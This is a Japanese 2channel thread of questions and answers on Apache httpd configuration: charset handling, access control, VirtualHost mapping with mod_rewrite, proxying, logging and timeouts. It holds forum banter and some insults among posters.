GETを受けるページがUTF-8でなければならないのは、Apacheの仕様なのですか?
Shift_JISでも表示できるように、設定で変更することなどは可能ですか?
AN HTTPDではshtmlがShift-JISで書かれていてもちゃんと表示されていたので、
Apacheだとなぜ表示されないのかよく分からないのですが・・・。
まさかぁ。
626 :
名無しさん@お腹いっぱい。 :2011/09/12(月) 16:53:37.17
2.2.21とな
Apache Killerの余韻はこの辺か > 2.2.21 *) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20. PR 51748. [<lowprio20 gmail.com>] *) core: Allow MaxRanges none|unlimited|default and set 'Accept-Ranges: none' in the case Ranges are being ignored with MaxRanges none. [Eric Covener]
こんにちは。質問させてください。
お名前.comでドメイン取得
さくらvpsを契約し
var/www/html/rails_app/public
をドキュメントとして
http://example.com にアクセスしたとき
Railsのアプリが走るようにしています
そして
usr/share/phpMyAdmin
にphpmyadminを入れています
http://phpmyadmin.example.com にアクセスしたときだけ
phpmyadminが表示されるようにするには
どのような設定をすればいいでしょうか?
631 :
名無しさん@お腹いっぱい。 :2011/09/23(金) 16:36:44.12
ソースからRPMを作ろうとしています ソース同梱のspecファイル中に # symlinks for /etc/httpd とあって、logやrunやmodulesのシンボリックリンクを作ってるんですが /etc/httpd配下にそんなシンボリックリンクいらなくないですか? どういう意味があるんでしょうか
>>631 いらないと思うなら作る必要はない。
歴史的に /etc 配下に設定ファイルを集めているだけ
/etc の配下に httpd があれば、設定ファイルを探しやすいってだけだ
/usr/local/httpd とかに全部入れる人だっているんだし
自分だけが触るなら別に何でも良いじゃないの?
他人が触るなら /etc/httpd があった方が、親切
redhat 系では ServerRoot が /etc/httpd になっているので、 symlink がないとモジュールの場所はじめありとあらゆるものが 相対パスで書けなくなるんだよ。
そういう気遣いもドキュメントとか無いサーバいじるときは $ ps -ef|egrep 'http|apache' $ /usr/sbin/apache2 -V って感じでたどっていくね><
話ずれてきたな。
httpd.confでアクセス制限をやろうとしています。 「localhost:8080」からのみアクセス許可したいのですができません。 Order allow,deny Allow from localhost:8080 とやるとエラーが出てApacheが起動しなくなります。 どなたかご教授を・・。
添付ドキュメント読んでこい
どこの馬の骨かわからん奴に教授などする気はない。
お父さんキツイっす
640 :
636 :2011/09/29(木) 21:56:31.63
該当しそうな箇所を読んだけど載ってませんでした。 ポートを指定した場合のケースはググっても見つからないのよ。。
>>640 そのポートで Listen してるんよね。
そしたら、localhost だけAllow にして...
後は、分かるよな。
>>641 それだと403エラーとなってしまいます。
Forbidden
You don't have permission to access / on this server.
<Directory "C:/xampp/Apache/htdocs">
Allow from All
</Directory>
にしたり、Listenを80にすれば普通にアクセスできるのですが。
やりたいことを正しく表現できないお馬鹿さんであり 充実したドキュメントがあっても理解できないお馬鹿さんでもあるという そんなかんじ?
中学校で習うだろ。
645 :
636 :2011/09/29(木) 23:32:43.56
>>642 >Listenを80にすれば普通にアクセスできる
これは間違いでした。以下の設定で「
http://localhost/ 」にアクセスしても
403エラーとなります。
Listen 80
ServerName localhost:80
<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
</Directory>
<Directory "C:/xampp/Apache/htdocs">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from localhost
</Directory>
Allow from localhostの部分をAllow from Allとすると「It works!」と出て接続できます。
ポート関係なしにlocalhostからのみアクセス許可することもできません。
>>645 ちょっと、落ち着け。
403になるなら、
DocumentRoot はどこかね。
>>646 済みません、やはり最初ので正しいです。
>>645 キャッシュが原因で403エラーとなっていたようで、クイック起動バーから
新しいウィンドウを開くと「It works!」と出て接続できます。
Allow from localhostで「
http://localhost/ 」はOKということです。
ポートを8080にして「
http://localhost:8080/ 」でアクセスすると403エラーとなります。
全ブラウザを閉じてからアクセスして確認しました。
Listen 8080
ServerName localhost:8080
<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
</Directory>
<Directory "C:/xampp/Apache/htdocs">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from localhost
</Directory>
DocumentRoot "C:/xampp/Apache/htdocs"
>>647 8080 でアクセスするとき、error_log に何て出てる?
>>648 たくさんあってどれを挙げればいいかわからないんですがこんな感じのがありました。
[Fri Sep 30 00:12:17 2011] [notice] Child 7976: Starting thread to listen on port 8080.
[Fri Sep 30 00:12:38 2011] [error] [client 127.0.0.1] client denied by server configuration: C:/xampp/Apache/htdocs/
[Fri Sep 30 00:13:50 2011] [notice] Parent: Received restart signal -- Restarting the server.
[Fri Sep 30 00:13:50 2011] [notice] Child 7976: Exit event signaled. Child process is ending.
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 192.168.1.2 for ServerName
それとWindowsファイアウォールを今調べているところです。
エラーログを削除して真っさらにしてやってみました。 [Fri Sep 30 00:38:36 2011] [notice] Parent: Received restart signal -- Restarting the server. [Fri Sep 30 00:38:36 2011] [notice] Child 6636: Exit event signaled. Child process is ending. [Fri Sep 30 00:38:36 2011] [notice] Apache/2.2.21 (Win32) configured -- resuming normal operations [Fri Sep 30 00:38:36 2011] [notice] Server built: Sep 9 2011 10:26:10 [Fri Sep 30 00:38:36 2011] [notice] Parent: Created child process 4464 [Fri Sep 30 00:38:37 2011] [notice] Child 4464: Child process is running [Fri Sep 30 00:38:37 2011] [notice] Child 4464: Acquired the start mutex. [Fri Sep 30 00:38:37 2011] [notice] Child 6636: Released the start mutex [Fri Sep 30 00:38:37 2011] [notice] Child 4464: Starting 64 worker threads. [Fri Sep 30 00:38:37 2011] [notice] Child 4464: Starting thread to listen on port 8080. [Fri Sep 30 00:38:45 2011] [notice] Child 6636: All worker threads have exited. [Fri Sep 30 00:38:45 2011] [notice] Child 6636: Child process is exiting [Fri Sep 30 00:39:02 2011] [error] [client 127.0.0.1] client denied by server configuration: C:/xampp/Apache/htdocs/
>>650 そこに 403 の原因が書いてるではないか。
652 :
636 :2011/09/30(金) 01:11:25.26
今日はもう無理なので寝ます。 いろいろググってみたので明日やってみます。 ヒントを下さってありがとうございました。
これはひどい。
あるのか知らんが初心者スレに書いたほうがよかったな
接続数制限とかだと最近じゃmod_vlimitというやつが結構良いが使ってる人いる? ファイル単位で接続数制限かけたいと思ってる
>>657 しらね。
それ系のは、mod_statusのスコアボード見て各プロセスやスレッドが
その瞬間に処理してるURLの中から単純にマッチするものを
カウントしてるだけだから、動作的にはほとんど問題ないかと。
注意すべき点としては、MaxClientsみたいな同時アクセス数の数値を
あまり大きくしている場合は、カウントしなければならない対象も
かなりの数になるんで、オーバーヘッドが高くなる(かも)ってことぐらいかな?
関係ないが、今度はまたmod_proxyにセキュリティホールかw
とりあえずpatch当てた…
>>658 ファイル単位で同時接続数見るのはスコアボードじゃできないよ
nginxスレってないの?
ないよ。
いやん
Apacheも最初は読み方が分からなかったが nginxも相当ぶっとんでるな。
Apacheは普通の英単語じゃん。
>>660 あれ?そうだっけ?
Extend何とかの設定入れたら取れたと思ったが… 記憶違いかな。
ってか、スコアボードで取れないとしたら他にどんな実装があるっけ?
モジュール自前で共有メモリに書き出して管理するぐらいだろうか。
Connection closed by foreign host. telnetして数秒たつとこうなるんだけど これ無効にしたり、時間伸ばしたりできないの? 教えてください
ちゃんと説明できないバカは一昨日来ればいいと思うの
教えてください apacheにtelnetし接続して8秒ほどたつと Connection closed by foreign host. と出ます教えてください
タイムアウト値を変更したいのかなぁ・・・
デフォルト設定のままインターネットに公開はキツいからなぁ パフォーマンスチューニング系の話題は良い感じに纏めてる先人が多数いらっしゃるから ググれカス
>>669 スコアボードにr->filenameは保存されない。
なので、ファイル単位で同時接続数調べようと思ったら子プロセス同士でプロセス間通信しないとだめ。
わからねーのかよ使えねーなクソ
>>678 tcpのセッションの話とapacheのタイムアウトは別物。
コマンド手打ちしたいけどタイピングが超遅いのであろう
先日サーバをレンタルしたのですが ページ自体が自分の期待する文字コードでファイルを返してくれません。 具体的には、 hoge.html というhtmlページは shift-jis で記述しており shift-jisで閲覧される事を想定しているのですが、utf-8としてコンテンツが吐き出されている様です。 たとえば、 下記の様な特定のディレクトリにあるファイルのみ(←重要★) 文字コードを変更するにはどうすればよいでしょうか? hoge_dir/hoge/ hoge_1.html hoge_2.html
<Directory ...> AddDefaultCharset ... </Directory>
>>682 次の2パターンを試してもやはり駄目でした。どこに問題があるのでしょうか?
hoge_dir/hoge/
.htaccess
hoge_1.html
hoge_2.html
【.htaccessの設定】
その@
<Directory .>
AddDefaultCharset Shift_JIS
</Directory>
そのA
AddType "text/html; charset=Shift_JIS" sjis
><Directory .> アホか。よく考えろ。
>>684 そもそも <Directory>はhttpd.cnf とかにしか指定出来ないのではないでしょうか?
うーん文字化けしてしまう。
html ⇒ php にして文字コードを指定すれば文字化けしないんですけど・・・
HTMLヘッダーとHTTPヘッダーと両方確認した?
AddType "text/html; charset=Shift_JIS" html とかじゃないの そのhtmlをUTF-8にするのはだめなん?
>>687 AddCharsetというディレクティブもあることも知らずに回答者気取りとかww
スレ維持乙
デフォルトチャーセットってノンに出来ないっけ? こんなの設定してる鯖屋は萎えるな。
691 :
名無しさん@お腹いっぱい。 :2011/10/26(水) 05:19:30.01
二つのhttpd.confを比較して、 設定の差分をリストアップするようなソフトがあればおしえてください
>>690 AddDefaultCharset noneって見ただけで笑えるよねw
noneって設定値はcharset=noneの設定だからw
ノンじゃなくてオフならあるぜ
ナン、て中学校で習ったな
おフランス風ざますのよ
うぃ
ぐぐるな
701 :
名無しさん@お腹いっぱい。 :2011/10/27(木) 10:28:11.25
管理用のIPアドレスからアクセスしてきたら環境変数をセット その環境変数があれば、指定のディレクトリへのアクセスを許可 ということをやりたいのですが、 環境変数を元にallowするにはどうすればいいですか?
または、類似の方法があれば教えてください 管理用のIPアドレス表記があちこちにあるのを避けたいんです
>>702 ありがとうございます。
SetEnvIfを使って、環境変数のセットをするところまではきたのですが
その先がわからないんです・・
アクセスコントロールしたいコンテンツをまとめるとか .htaccessをリンクで増やして実体は一つにするとか
Allow from all|host|env=env-variable [host|env=env-variable] ...
>>706 あーこれです!
ありがとうございました
708 :
名無しさん@お腹いっぱい。 :2011/10/27(木) 11:57:06.57
>>709 ありがとうございます
日付的に更新とまってるのかな?
mod_layoutを必要とするようなサービスは時代の流れから反してるからね
質問させて頂きます。 httpd.confで、VirtualHostを設定しているのですが、 複数のドメインのサブドメインをアスタリスク等で一度に設定できますか? 例えば hoge.comの場合 www.hoge.com → DocumentRoot /home/hoge/www/ aaa.hoge.com → DocumentRoot /home/hoge/www2/ bbb.hoge.com → DocumentRoot /home/hoge/www3/ hoge.jpの場合 www.hoge.jp → DocumentRoot /home/hoge/www/ aaa.hoge.jp → DocumentRoot /home/hoge/www2/ bbb.hoge.jp → DocumentRoot /home/hoge/www3/ 違うドメインですが、 サブドメインが一緒の場合、同じDocumentRootにしたいのです。 一つ一つ設定するよりも、正規表現ぽく設定したいのですが・・ よろしくおねがいします。
hoge.comの中の人ってhoge.jpの管理者と同じ日本人だったのか・・
hoge.jp は私の持っているドメインです。勝手に例示に使わないでください。
717 :
712 :2011/11/01(火) 00:47:15.07
>>714 ありがとうございます。
調べてみたら、mod_vhost_alias は
aaa.hoge.com → /home/hoge/aaa/
bbb.hoge.com → /home/hoge/bbb/
としかできないんですよね?
aaa.hoge.com → /home/hoge/www1/
bbb.hoge.com → /home/hoge/www1/
ccc.hoge.com → /home/hoge/www2/
のようには、難しいですかね?
ServerAlias
719 :
712 :2011/11/01(火) 01:02:53.21
>>718 >>712 に書いてあるような、hoge.comやhoge.jp等々の設定は、
ドメインごとに設定をしなければならないってことですかね。
ドメイン横断でVirtualHostをすること自体が間違っているんですかね?
自分で設定しないとしたら どういう基準で判断させるつもり?
721 :
720 :2011/11/01(火) 09:54:37.52
あーすまん、読み違えてた。
>>717 やろうと思えばできるかもしれんが、正規表現ぽく簡単には無理かも。
とりあえずは、www1とかをサブドメインにしておけばやりたいことは
達成できるんじゃないの?
手で書けないほど持ってるドメイン多いのかな。 ならスクリプトとかで生成しちゃえば。 あとおやくそくの注意だけど 実在するドメイン名を例に使っちゃいかんよ。
724 :
712 :2011/11/01(火) 11:24:08.65
>>722 >>723 ありがとうございます。
手でかけないほどじゃないですが、新しいドメインを運用する際に、
apacheのconfをいじりたくは無かったので、聞いて見ました。
個別に設定することにします。
今後はexample.comとかにします。
>>712 ちょっと興味があって、で思ったより簡単にできたので紹介
※ 長文注意
* httpd.conf(一部省略、log は確認の為とりあえず 10、本運用では 0 に)
※ ServerName は wildcard 使えないはず(未確認)。
※ セキュリティ面の考慮はしてないです。何か問題あるかも
※ RewriteMap はファイルを変更すると即時(apacheの再起動など無く)反映されます。
<VirtualHost *:80>
ServerAdmin webadmin
DocumentRoot /var/www/example/base/
ServerName example.com
ServerAlias *.example.com
ServerAlias *.example.net
RewriteEngine on
RewriteLog "/var/log/httpd/example_rewrite_log"
RewriteLogLevel 10
RewriteMap doc_map txt:/etc/apache/map.txt
RewriteCond %{HTTP_HOST} ^([^.]+).example.(com|net)$
RewriteRule ^/(.*)$ /var/www/example/${doc_map:%1}/$1 [L]
* /etc/apache/map.txt
www www
aaa www2
bbb www3
次に続く
続き
* directory
$ head /var/www/example/*/*.html
==> /var/www/example/base/index.html <==
base
==> /var/www/example/www/index.html <==
www
==> /var/www/example/www2/index.html <==
www2
==> /var/www/example/www3/index.html <==
www3
* result
$ curl -H 'Host: example.com'
http://localhost/index.html base
$ curl -H 'Host: www.example.com'
http://localhost/index.html www
$ curl -H 'Host: aaa.example.com'
http://localhost/index.html www2
$ curl -H 'Host: bbb.example.com'
http://localhost/index.html www3
$ curl -H 'Host: ccc.example.com'
http://localhost/index.html <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
略
=> rewrite_log より /var/www/example//index.html へアクセスしていることを確認
いやいや、こういうのをやらずに簡単にやる方法ってことなんだが
実質5行だが、これで簡単でないって頭大丈夫か?
730 :
712 :2011/11/02(水) 10:48:05.47
>>727 ありがとうございます。
なるほど。RewriteEngineでやっちゃうって感じですね。
これだと、サブドメインの追加はconfをいじらないですみますが、
example1.comとかを追加する場合は、confをいじらないとって感じですね。
かなり参考になりそうなので、ちょっといじってやってみます!
ありがとうございます!
>>726 > ※ RewriteMap はファイルを変更すると即時(apacheの再起動など無く)反映されます。
つまり1アクセス毎にファイル読んでるってことだよね。大丈夫なのかな。
ケチるける前にドキュメント読めよ。カス。
ケチるける?
.htaccess は1アクセスごと再帰的に読まれてファイルアクセスが増えるから重くなるとはいうね。
例えば
http://example.jp/foo/bar/baz/qux/foobar/index.html っていうファイルにアクセスする場合、
/docroot/foo/.htaccess, /docroot/foo/bar/.htaccess, ... と1回のアクセスで最大5個の .htaccess が読まれる。
よっぽど大量じゃないとパフォーマンスに影響しないだろうけど。
知らんけどRewriteMapも即時に反映されるなら毎回読んでるのかも。
斜めに受け取りすぎじゃないか? ただ疑問に思ってるだけでケチつけてるわけじゃないだろ。
735 :
733 :2011/11/02(水) 13:23:14.09
ごめんなさい
だからドキュメント嫁って言ってんだろ。カス。 Note For plain text and DBM format files the looked-up keys are cached in-core until the mtime of the mapfile changes or the server does a restart. This way you can have map-functions in rules which are used for every request. This is no problem, because the external lookup only happens once!
737 :
726 :2011/11/02(水) 15:30:27.02
どのようにファイルが参照されるかは 736 が貼ってくれてるから、 RewriteMap txt: を実運用サイトで使ってる身としての意見や 経験をちょっとだけ 導入当初(4年ぐらい前)にベンチを取ったけど、 「1台で 200pv/sec 程度の ab を使ったテスト」を行い、 100行ぐらいの RewriteMap txt: あり/なし で差が出なかった。 実運用に入ってからも上に乗るアプリのほうが Apache なんかよりも よっぽど重いので正直わからない。 それより、ファイルを変更したら即座に反映されることのほうが 運用する上ではよっぽど怖い。
>>729 お前こそ頭大丈夫か?マップとか逐次設定増やす必要あるだろ。
性能も悪いし効率も悪い。
>>738 お前、本物の知障だろ。どんなに頭悪いのかは足りない頭で考えろ。ww
しかも
>>737 が性能効率には全く影響なかったといった後でその発言。www
>>739 おまえやっぱ素人臭いな。100行程度の評価でうれしそうだし、逐次設定なんて誰でもできる。
あんな設定で俺すげーされたらかなわんわ。
黙ってた方がいいよ、頭も悪そうだし。
741 :
名無しさん@お腹いっぱい。 :2011/11/03(木) 10:55:17.93
>>741 強引にrewrite使えば誰でもできるけど、もっと簡単にやる方法がないかってのを聞いてるんでしょってこと。
お前どうしたの?そんなに認められないのが苦痛?
プログラマっていうのは怠けるために最大の努力をするのが正しい姿 それに反してるってことだろ?
744 :
名無しさん@お腹いっぱい。 :2011/11/04(金) 08:12:59.07
俺が知ってるのは プログラマは手抜きをするためならいかなる努力も厭わない だ
745 :
名無しさん@お腹いっぱい。 :2011/11/09(水) 19:10:57.26
rapid siteのVPSを借りたのですが、 どの行にもerror_logの後部にreferrerがついてしまいます 調べてみたのですが、外し方が分かりません エラーログが見づらいので、助けてください!
>>745 httpd.conf の ErrorLog はどう書いてんの。
748 :
745 :2011/11/09(水) 19:13:54.59
>>746 ErrorLogは
ErrorLog logs/error_log
こんなかんじです
749 :
745 :2011/11/09(水) 19:16:12.27
>>747 rapid siteのスレが・・・まぁ人が少なそうだったので・・・
すいませんwおじゃましてみましたw
customlog
751 :
745 :2011/11/10(木) 11:54:33.12
調べてみたんですが、 エラーログのフォーマットってcustomlogで設定できないっぽいのですが
>>751 逆逆。CustomLogを使ってエラーログを吐かせるの。
754 :
745 :2011/11/11(金) 19:15:52.31
>>752 あ、エラーログと別に、デバッグログとして吐き出すってことですね。
普通のエラーログに出るようなWarning等々も吐き出せるってことですよね。
ちょっと調べてみます!
755 :
名無しさん@お腹いっぱい。 :2011/11/12(土) 10:08:35.97
apacheなのかdnsなのか別の範囲なのかわからないんですが 自宅のLanの中にサーバを立ち上げて、 test1.myserv.com / test2.myserv.comという風にバーチャルホストでサイトを作っています で、クライアントのマシンではhostsを弄ってドメインでブラウザからアクセスできるようにしています ところが、hostsを触れない端末があり(iPod touchですが)、アクセスできなくて困っています どうやって解決したら良いでしょうか? アドバイスもらえると嬉しいです、よろしくお願いします
そりゃDNS立てるしかないだろ そんなの初心者スレで質問する内容だ
>>755 apache関係ないな。
dnsmasqおすすめ。
5行位書けば設定可能。
hostsも見てくれるので、楽。
で、すべての機器はそのDNSを参照する。
dhcpdもついてるよ。
myserv.comの中の人ってこの程度の知識だったのか…
759 :
名無しさん@お腹いっぱい。 :2011/11/12(土) 13:08:07.49
>>756 ,757
apacheで対応できることじゃないですね、すみませんでした
dnsmasqっての調べてみます
ありがとうございました!
勝手に他人のドメイン名乗ってるって皮肉だろ
DDNSじゃねぇのかよ
DDNSが何なのか判ってるの?
判ってるよ?
>>763 どわいなみっくどぅおめいんすわぁーびす
「ぬぇ〜む」が抜けてる
アナルプラグ
うほ
769 :
名無しさん@お腹いっぱい。 :2011/12/17(土) 21:52:43.33
apache 2.4が正式にリリースされるのっていつ頃だろうね?
771 :
名無しさん@お腹いっぱい。 :2011/12/18(日) 03:58:14.80
Apache 3.0の構想は永久に実現しないのかw
2.3は何時出るんだよ。
[RESCINDED ]Re: [VOTE] Release Apache httpd 2.4.0 On Sunday 22 January 2012, Jim Jagielski wrote: > I am rescinding the vote for 2.4.0. Instead, on Monday (or > Tuesday at the latest) I will T&R 2.4.1. Plese wait until at least the core output filter issue is completely resolved. Thanks.
httpd.confがまじうざい servertokens profが有効化されないし cssフォルダのcssファイルにアクセス権限がないためアクセス出来ませんっていわれるし もうわけわかめ
修行が足りませんねw
うざいなら消しちゃえばいいじゃん。
2.2で困っていない っていうか仕事が増えるから2.4出さないでくれ
cssフォルダの権限がrootになってたため起こったエラーでした 指定したユーザーに権限渡したらすんなりと動きました
権限の話なのになんでhttpd.confのせいだと思ったんだ。
781 :
名無しさん@お腹いっぱい。 :2012/01/31(火) 13:39:52.43
>>775 てか、Apache を使うのをやめたらどう?
この調子だと他の使ったらうまくいくってわけでもなさそうだから サーバ管理をやめた方がいいかも。
>778 むしろ仕事がなくなるぞ
784 :
名無しさん@お腹いっぱい。 :2012/02/01(水) 18:29:24.20
2.2.22 age
>>785 静的コンテンツを配信する軽くて高速なhttpdと、動的コンテンツ用の高機能だけど
重いhttpdとで分化してきているってだけの話
Damien Katz氏がApache CouchDBから離反し、Couchbase Server開発を継続
http://www.infoq.com/jp/news/2012/01/Katz-CouchDB-Couchbase-Server > 氏はこの製品を“絶対にApacheプロジェクトにはしない”としている。氏によると理由は、
> “コンセンサスを取りながら開発する方法がプロジェクトの競争力を制限してしまう地点に
> 到達した"からだ。
> InfoQ: あなたは、Apacheプロジェクトの動きは遅く、必ずしも競争力のある製品を生まない、
> と言っているように思います。Apacheの主な問題は何ですか。
> DK: 私たちは顧客やユーザの声に敏感に反応する必要があります。
> しかし、Apacheプロジェクトのやり方だとそれが困難だと分かりました。
> コードの同期を維持し続けるのはとても大変でした。
それがどうかしたの?
> On 09 Feb 2012, at 4:03 PM, Jim Jagielski wrote: > > > A heads up that I plan to T&R 2.4.1 within the next 48hrs... > > Why 48hrs? To give people who might either have patches/backports > > time to fold them in, as well as give people who may not support > > a T&R time to note their disagreement and provide valid reasons > > behind it. >
独非営利団体がOpenOffice.orgベースの「White Label Office」を公開、Apacheはこれに対し協調を呼びかけ
http://sourceforge.jp/magazine/11/12/27/045229 > 現在ASFの元でインキュベーションプロジェクトとして運営されている。
> その間、OpenOffice.orgの一部の開発者がフォークプロジェクト
> 「LibreOffice」(The Document Foundation)を設立、OpenOffice.orgは求心力を失ったと見る向きもある。
LibreOfficeの連中はapacheとはもう関わりたくないってさw
787=790=とんでもないバカ、かつ包茎
>>790 LibreOfficeがOpenOfficeからフォークしたのはOpenOfficeがASFに託される前だろ
VirtualHostの設定をSQLiteなどに格納する方法はないんでしょうか?
> As such, I call the vote as PASSING and that httpd 2.4.1 will > be released as GA.
そういうモジュールがある。
作ればあるもん
だよもん
aptで突っ込めるようになるのまだー
PHP 5.4 がついにリリース ― Web を高速に!
aprは別で単独でインストールしろという事になったのか。
apache 2.4.1にしてもPHP 5.4にしても、Windows用のmsi版作ってほしいー ほんと、まじでお願いします
公式64ビットwindowsパイナリが欲しい
Migu 1mはわかりやすいなあ。パ(pa)イナリってなんだろ。
RedirectMatch 404 /$
810 :
808 :2012/03/04(日) 22:05:34.43
>>809 この手もあったか
取り敢えず
>>808 の書き込みの後調べてみて
1.mod_autoindex.soを読み込まないようにする
2.OptionsでIndexesを有効にする。
と設定することで「オートインデックスの作成は許可するが機能は無効」になるので
Not Foundになったけど…。
エラーログが出ない方法が正解。
mod_dir をロードしない。
RFCを書き換えて403と404を入れ替える。
OpenSSL 1.0.1 出てるな TLS v1.1 v1.2 サポートされるから入れとけよ
Indexesで表示されるファイルリストを Content-Type: text/html; charset=UTF-8で表示したい のだけどどうすればいいでしょうか? 使ってるApacheはCentOS 5.8 でrpmで入るもので、httpd-2.2.3-63.el5.centos.1 です。 .htaccess に AddDefaultCharset UTF-8 とか書いてみても効かない様で、現在は Content-Type: text/html; charset=iso-8859-1 になっています。
>> 815 IndexOptions Charset=UTF-8
>>815-817 状況によっては、こっちのほうがいいかもね。
IndexOptions +Charset=UTF-8
すまん、教えてくれ。 apacheで大量のコンテンツを処理する必要があるんだけど、 画像コンテンツは転送が完了するまでapacheのMaxClientsを消費するんだろうか? ユーザが遅い回線で見てたらMaxClientsはどんどん消費されるんだろうか?
最近は一定以上遅い回線は足切りするのが主流だね。
ありがとう。 助かった。
PHPスクリプトをWEB公開ディレクトリに配置した状態で(←これがあまり宜しくないとは思うけど) ブラウザからはアクセス出来ないけれど cronからはキック出来る様にはどうしたらいいですか?
owner を cron から呼ぶアカウントにしといて chmod 700 とか。
下記の用にcakePHPを使用したPHPコードを実行させる為に
前準備としてブラウザより各ディレクトリ(ファイル)にアクセス
できることの確認を行っているのですが
なぜかcakephpディレクトリの中にはアクセスする事が出来ません。何が原因なのでしょうか?
※そもそも.htaccessを無効にしたのでアクセス出来なくちゃならないハズなんですが・・・
【ブラウザからアクセスした場合】
◯
http://localhost/hoge/test.php ×
http://localhost/cakephp/test.php 【cakephpディレクトリ内のファイル】
/var/www/html/cakephp
test.php
.htaccess → リネーム: htaccess_bk
【コマンドラインから直接スクリプトを叩いた場合】
[root@localhost cakephp]# php test.php
string(4) "test"
質問するなら、logと.conf位出したら? パソコンが動きませんレベルで、解答しろと?
827 :
825 :2012/05/23(水) 14:30:11.32
>>826 すみません。ログを載せるのが漏れてました。
やはり、
.htaccess を無効にしているのに表示されないのは不思議でなりません。
【Apacheのエラーログ】
[Wed May 23 14:25:00 2012] [error] [client 127.0.0.1] (13)Permission denied: access to /cakephp/test.php denied
>Permission denied: access to /cakephp/test.php denied logに書いてあるとおり、パーミッション権限の設定によりアクセス不可能。 こんな、中学レベル以下の英語が読めないのはどうかと思う。
<VirtualHost *:8888>
ProxyRequests On
ProxyVia On
<Proxy *>
Order deny,allow
Deny from all
Allow from internal.example.com
</Proxy>
</VirtualHost>
こんな設定でフォワードプロキシしてるときに、リクエストを8889番ポートに流そうと以下の設定を追加しても流れないんですが、どう書けば流せますか?
RewriteEngine On
RewriteRule ^/(.*)$
http://localhost:8889/$1 [P,L]
>>830 レスを参考に下のように設定を書き換えてapacheを再起動しましたが、解決しませんでした。
8889番で待ち受けている方にはアクセスが来ないままです。
<VirtualHost *:8888>
ProxyRequests On
ProxyVia On
<Proxy *>
Order deny,allow
Deny from all
Allow from internal.example.com
</Proxy>
ProxyPass /
http://localhost:8889/ </VirtualHost>
>>832 できました。ありがとうございます。
RewriteRuleやProxyPassはリバースプロキシのときに使うものでした。
834 :
名無しさん@お腹いっぱい。 :2012/06/02(土) 19:10:21.94
SSLですが、特定のipからのアクセスだけなぜかESTABLISHEDで接続が50近く常に残るユーザー企業がいます。 httpdのプロセスがそれだけ占有されます。 そのipからはだいたい1分間に20回くらいのリクエストなのでそれほどアクセス量は多くありません。 KeepAliveTimeoutは5秒です。 接続が長時間残る原因はどんなものが考えられるでしょうか? centos、apache2.2です
keepalivetimeout の設定を越えてつながりっぱなしなのか、 ちゃんと時間どおり切れるのかどっちだ。 前者なら知らね。後者なら単に常にkeepaliveでリクエストするように プロクシが設定されてるだけなんじゃね。
特定だったらnokeepaliveで蹴落としてみるとかw
Denyしちゃえ。
839 :
835 :2012/06/08(金) 11:57:00.39
ありがとうございます。 keepalivetimeoutを変更してみたりもしたのですが全く状況は変わりません。 あきらかに設定の5秒より長く接続が維持されています(というかリクエストが終わっても分単位で接続されっぱなしになる) proxyの可能性ですか・・・一応リクエストヘッダにはproxy経由っぽいヘッダは無いのですがそれは秘匿できるのかな。 クライアントがproxyを使っているとこちらのkeepalivetimeoutの設定と関係なく長時間keepaliveを維持することもできちゃうということなのでしょうか?
レスポンスを受け取りきってなければ正常でしょ?それ。 スローロリス対策用のタイムアウトの方を短くしてみるとか。
842 :
835 :2012/06/08(金) 22:00:27.32
すみません、レスポンスを返した後に接続が切れないのだと思い込んでいたのですが、statusを確認したら、Reading requestの状態でした。 相手のproxyとかネットワーク機器とウチのサーバとの相性みたいなのもあったりするのかなあ。 その他大勢のユーザーは問題ないのだけども。
途中の経路にウンコな場所があるとか? Timeoutで足切りすればいいじゃん。
mod_mruby 使いはおらんかのぅ
mod_mruby で mod_rewrite + mod_proxy もどきのを作ろうとしているのだけど、 mrubyって require 機能が無いんだな (mrubyコアに組み込みコンパイルする必要がある) sockも無いので、DBとのインターフェース設計どうしようかねぇ
httpd.confのmod_rewrite設定が思ったように動かずログを調べたところ、置換先ディレクトリにより prifixが付いたり付かなかったりするようです。 とあるアクセスを「/robots.txt」に置換する場合 local path result: /robots.txt prefixed with document_root to /www/htdocs2/robots.txt go-ahead with /www/htdocs2/robots.txt [OK] と出るのですが下位ディレクトリの「/lib/robots.txt」に置換しようとすると local path result: /lib/robots.txt go-ahead with /lib/robots.txt [OK] とprifixが付かずにLinuxRootからのパスが存在しないディレクトリとなります。 必ずprifixが付くようにするにはhttpd.confに何を設定すれば良いでしょうか?
>>847 です。環境を忘れていました。
CentOS 6.2
apache 2.2.22
apacheはソースからインストールしています。
先頭に/を付けてはいけないオチとか?
.htaccessについてはrewritebaseを指定して、置換先の先頭に/を 付けないらしいのですが、httpd.confでやってる場合は先頭に/を 付けるらしいです。/を付けないとエラーとなりました。
最近access_logに次のような行が出力されるようになりました。 GET /xxxxx/undefined HTTP/1.1 PHP,Javascriptなどのソースプログラムは何も変更していません。 原因などお分かりの方、教えて下さい。
そういうリクエストを投げてきてる人がいる、ということでしょう。
jsかphpでurl生成するときにundefinedな変数があるんでしょ。 今まで気づかなかったバグがはっかくしただけ、よくある話。
特定のディレクトリにアクセスがあったときに、あえてレスポンスを返さずに無応答のように見せかける方法ってあるのでしょうか。 スパム対策に検討しています。
正常でも応答する仕掛けなのなのに、無応答のように見せかけるという意味が訳わからん。 RFC読んでこい。
>>854 mod_rewriteでsleep(3600)なプログラムに飛ばすとか?
ただ、スパムが嫌なら404とか403とか返せばいいじゃん
自宅だと大陸や半島からのアクセスに403返すようにしてたなー
普通、パケットフィルターで落とすだろ。
Redirect 204 /%E7%89%B9%E5%AE%9A/
861 :
854 :2012/06/28(木) 12:03:51.21
大量の頭の悪いスパムだと404や403返してもすぐにIPやUA変えたりしてアタックしかけてくるから応答返さなければ懲りるかなと思いまして。 パケットフィルタでやるべきっぽいですね。 ありがとうございます。
もしかしてサーバの応答によって逐一対応を変えてると思ってる? 「頭の悪いスパム」がそんな頭のいいことするか?
単に舐めてるだけだよね。
864 :
854 :2012/06/28(木) 14:09:47.83
404や403が返ってこなければ、再アタックをかけるにしてもレスポンス待ちで少し待ち時間が発生するのかなと。 そうすればスパム側からアタック数を鈍らせることができるのではと思いました。 SSHでの接続も同様に反応させない方が効果的な場合があるので。
